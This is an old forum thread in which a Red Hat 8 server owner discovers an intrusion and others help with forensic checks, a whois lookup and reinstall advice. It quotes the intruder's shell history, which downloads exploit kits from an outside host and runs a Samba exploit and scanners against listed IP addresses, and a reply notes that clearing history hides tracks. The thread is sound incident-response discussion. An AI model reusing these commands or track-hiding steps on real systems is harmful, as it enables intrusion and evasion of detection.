Very Strange Problem - Have I been hacked ?

Hey,

I'm running RH8 server with Apache, PHP, PHPNuke, MySQL, SSH, etc - it's publically facing.

Yesterday, I noticed that my system was down (networking not running) - So I rebooted - On startup I noticed lots of messages referring to a segmentation fault - I narrowed the fault down to 'grep' - everytime I run grep, I get the segmentation fault. I looked at the 'grep' file and compared it to another RH8 system I have here (private system) - The size of grep was different , I renamed the bad grep, copied the grep from the other system and ran it - worked fine. (Bad grep size = 120360, Good grep 116264)

However, after a while, the good grep changed size (for reasons I can't work out) to the same size as the bad grep. It also now does the segmentation fault thing.

I renamed and copied again - and the exact same thing happened.

Checked my logs and found this :

<security log>
Apr 27 16:36:10 spr6 sshd[19263]: Failed password for x from 203.130.216.132 port 1171
Apr 27 16:36:16 spr6 sshd[19263]: Accepted password for x from 203.130.216.132 port 1171
Apr 27 16:58:54 spr6 sshd[19321]: Failed password for x from 203.130.216.129 port 1172
Apr 27 16:59:16 spr6 sshd[19321]: Accepted password for x from 203.130.216.129 port 1172
Apr 27 21:56:21 spr6 sshd[24219]: Did not receive identification string from 206.57.63.9
Apr 27 21:57:48 spr6 sshd[24220]: Did not receive identification string from 206.57.63.9

I didn't think that I had a user called 'x' on my system - checked on the other system and yep , no x

Here's the entry out of the /etc/passwd file

x:x:502:502::/dev/x:/bin/basha

There also was another user created named 'zunja' but I deleted it before I knew what what going on, having though I may have created this one during my testing ages ago....

I don't get it - my root password is very strong, not in a dictionary, etc - maybe I wasnt' hacked ??

Can anyone shed any light on this ???

I don't want to rebuild the sytem and I would really like to find out what happened. I reckon that be getting grep working properly, it will be all good again....

BTW - the web server was just running anything very interesting....

Yeah, you're most probably cracked. Although I'd reommend that you reinstall your system, I have myself had one of my boxes cracked (even rooted, like you probably are now) some times, and it's all restored to normal.
Check if some normal utils have been altered with "rpm -V sh-utils textutils" and some other packages you might want to check. Also check your /etc/rc.d/rc.sysinit and similar files if they've been altered. You might also want to check if ps hides anything for you with these:

Code:

---

ps -Am | wc
ls -d /proc/[0-9]* | wc

---

The first one is supposed to report one more line, since ps also prints a header line, so don't worry about that.
Also, check for processes that have their executable files removed or hidden in dot-directories:

Code:

---

ls -l /proc/[0-9]*/exe 2>/dev/null | grep -e delete -e \\.

---

You might also want to check out that /dev/x directory.
Also, do this:

Code:

---

find / -name .bash_history 2>/dev/null

---

No worms that I've seen has covered that track. Therefore, if you check out any unexpected .bash_histories, you might be able to see what it did, and therefore be able to undo it.

Also remember to report 203.130.216.132 to his ISP. Check which one that is with "whois -h whois.arin.net 203.130.216.132".

I checked that IP for you, and it came from Indonesia, so I queried it against whois.apnic.net instead, which returned this:

Code:

---

inetnum:      203.130.192.0 - 203.130.223.255
netname:      TELKOMNET
descr:        PT TELEKOMUNIKASI INDONESIA
descr:        Jln Japati No 1
country:      ID
admin-c:      JW1-ID
tech-c:      EH10-AP
remarks:      service provider
mnt-by:      APNIC-HM
mnt-lower:    MAINT-TELKOMNET
changed:      hm-changed@apnic.net 20030226
changed:      hm-changed@apnic.net 20030228
status:      ALLOCATED PORTABLE
source:      APNIC

person:      Joedi Wisoeda
address:      PT TELEKOMUNIKASI INDONESIA (DIVMEDIA)
address:      Jln Kebon Sirih No. 37
address:      JAKARTA 10340
country:      ID
phone:        +62-21-3160500 Ext. 312
fax-no:      +62-21-3160700
e-mail:      joedi@telkom.co.id
nic-hdl:      JW1-ID
mnt-by:      MAINT-TELKOMNET
changed:      joedi@telkom.co.id 20020729
source:      APNIC

person:      ERI PUNTA HENDRASWARA
address:      PT. TELEKOMUNIKASI INDONESIA (DIVMEDIA)
address:      GRAHA CITRA CARAKA BUILDING
address:      Jl. Gatot Subroto Kav. 52 , 3 rd floor
address:      Jakarta, Indonesia 12710
country:      ID
phone:        +62-21-5229248
fax-no:      +62-21-5222296
e-mail:      phunta@telkom.co.id
nic-hdl:      EH10-AP
mnt-by:      MAINT-TELKOMNET
changed:      joedi@telkom.net.id 19980831
source:      APNIC

---

So, go to http://www.telkom.co.id/, try to find their abuse report address, and report this to them. If you can't find it, just try abuse@telkom.co.id, or one of the listed addresses, like joedi@telkom.co.id or phunta@telkcom.co.id.

Thanks for that :)

Hmmmmm - looks like you are right.

<.bash_history of user x>

mkdir " "
cd " "
wget 216.10.18.215/source/r.c
gcc -o sj r.c
ls -al
cat /tc/passwd
cat /etc/passwd
mkdir " "
cd " "
ls -al
wget 216.10.18.215/source/mass_samba.tar.gz
tar -xzf mass_samba.tar.gz
cd sambal
./sambal -b2 -v 202.139.229.85
ls
./mass_samba_obsd_31 202 139 139
./sambal -b2 -v 203.75.8.197
./sambal -b2 -v 203.131.96.179
./sambal -b2 -v 203.51.200.19
./sambal -b2 -v 203.51.200.19
./sambal -b2 -v 66.147.116.49
ssh -p 9999 66.147.116.49
ssh -p 9999 -l root 66.147.116.49
cd " "/sambal
ping 66.147.30.140
./sambal -b2 -v 66.147.30.140
ssh -p 9999 66.147.30.140
./sambal -b2 -v 62.148.81.107
./sambal -b2 -v 24.237.3.43
ping 24.237.3.43
ping 203.250.136.217
./sambal -b2 -v 203.250.136.217
cd ..
lynx -source 216.10.18.215/source/scanbsd.tar.gz > scanbsd.tar.gz
wget 216.10.18.215/source/scanbsd.tar.gz > scanbsd.tar.gz
ls -al
rmscanbsd.tar.gz.1
rm scanbsd.tar.gz.1
rm scanbsd.tar.gz
wget 216.10.18.215/source/scanbsd.tar.gz > scanbsd.tar.gz
ls -al
rm scanbsd.tar.gz
mv scanbsd.tar.gz.1 scanbsd.tar.gz
tar -xzf scanbsd.tar.gz
./scanbsd 206

More.............................................. ................

[root@www /]# rpm -V sh-utils textutils
S.5....T /bin/basename
S.5....T /usr/bin/md5sum

More.............................................. ....................

[root@www x]# find / -name scanbsd -print
/dev/x/ /scanbsd





I have reported this to the places you suggest

I had a look at rc.sysinit - I'm not very good with scripting , would take me ages to go thru it all -

Easier to backup my data, rebuild (a more secure) system

Thanks very much for your help ! :)

Found this in root's .bash history too ....

export PATH="."
inetd
inetd
inetd
inetd
w
last -10
/etc/rc.d/init.d/smb stop
setup
w
mkdir /dev/ida/" ,"
cd /dev/ida/" ,"
cd /tmp
ls -al
mv emech.tar.gz /dev/ida/" ,"
cd /dev/ida/" ,"
tar xvzf emech.tar.gz
cd emech
pico mech.set
vi mech.set
bash
w
cd /dev/ida
cd ...
mkdir ...
cd ...
ftp never-ask-me-asl-pls.net
tar xvfz new.tgz
cd ne
cd new
./scan 43.113
./scan 40.128
./scan 140.21
./scan 193.226
exit

He/she is not very smart, the first thing you do is get rid of any evidence of unusual activity.
Normally by setting the HISTSIZE bash variable to 0 so that it doesnt save anything to the history and maybe checking /var/log/messages.

Dont do a backup, and dont trust any previous backups. If you cant get an exact time that the intrusion occured then you cant trust any of your backups.

Save your config files (only the ones you need) and check them for anything unusul and do a re-install.

You might want to read some security texts to ensure (well try to:) this doesnt happen again.
Securing and Optimzing Red Hat Linux
Securing Debian

Haha, I can't believe that left a history file. What is this world coming to :D

Well, seriously, every worm I've had a problem with has left a history file. Probably not the first thing a cracker would think of, right? (Certainly not the first thing I'd think of, at least)

Worms usually just have a single purpose and have no need for the system afterwards. Most half decent crackers will want to keep from being noticed and use the system to launch attacks on other pcs/networks.

This was a s'kiddie, not very good though. Dont understand why he would make hidden directories but not clear out the history.

Maybe he felt comfortable that he wouldnt be caught ?

Wouldn't it be funny if you could decode his password and see if he uses the same on his home computer? =)